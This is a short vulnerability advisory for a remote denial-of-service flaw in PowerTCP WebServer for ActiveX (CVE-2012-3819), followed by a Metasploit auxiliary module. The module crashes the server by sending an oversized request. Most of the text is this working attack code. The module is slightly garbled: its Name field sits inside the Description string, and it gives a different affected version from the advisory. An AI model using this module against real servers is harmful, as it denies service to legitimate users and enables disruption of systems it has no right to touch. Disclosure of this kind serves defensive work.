source: https://www.securityfocus.com/bid/55761/info
PowerTCP WebServer for ActiveX is prone to a remote denial-of-service vulnerability.
Attackers can exploit this issue to crash the application (typically Internet Explorer), denying service to legitimate users.
PowerTCP WebServer for ActiveX 1.9.2 is vulnerable; other versions may also be affected.
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Description' => %q{ 'Name' => 'Dart Webserver
<= 1.9.0 Stack Overflow',
Dart Webserver from Dart Communications throws a stack
overflow exception
when processing large requests.
}
,
'Author' => [
'catatonicprime'
],
'Version' => '$Revision: 15513 $',
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2012-3819' ],
],
'DisclosureDate' => '9/28/2012'))
register_options([
Opt::RPORT(80),
OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust',
'520000' ])
])
end
def run
serverIP = datastore['RHOST']
if (datastore['RPORT'].to_i != 80)
serverIP += ":" + datastore['RPORT'].to_s
end
size = datastore['SIZE']
print_status("Crashing the server ...")
request = "A" * size + "\r\n\r\n"
connect
sock.put(request)
disconnect
end
end
